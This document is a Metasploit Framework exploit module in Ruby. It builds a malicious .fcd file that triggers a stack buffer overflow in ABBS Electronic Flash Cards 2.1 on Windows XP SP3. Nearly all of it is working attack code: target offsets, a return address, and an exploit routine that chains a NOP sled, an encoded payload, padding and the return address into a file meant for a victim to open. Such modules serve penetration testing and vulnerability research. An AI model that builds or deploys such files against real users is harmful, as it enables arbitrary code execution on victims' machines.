##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow vulnerability
                    found in ABBS Electronic Flash Cards 2.1.
                    The overflow occurs when an overly long string is passed
                    in the fcd file. To execute this fcd file the victim
                    has to start to start a new "random" test.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [
                          'h1ch4m',     # Initial Discovery
                          'James Fitts' # Metasploit Module
                        ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/16977' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN',
                        {
                            'Ret' => 0x0043cb0f, # call dword ptr ds:[eax] in flashcards.exe
                            'Offset' => 4108
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Mar 14 2011',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'msf.fcd']),
                ], self.class)
    end
 
    def exploit
         
        fcd = make_nops(50)
        fcd << payload.encoded
        fcd << make_nops(target['Offset'] - (50 + payload.encoded.length))
        fcd << [target.ret].pack('V')
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(fcd)
 
    end
 
end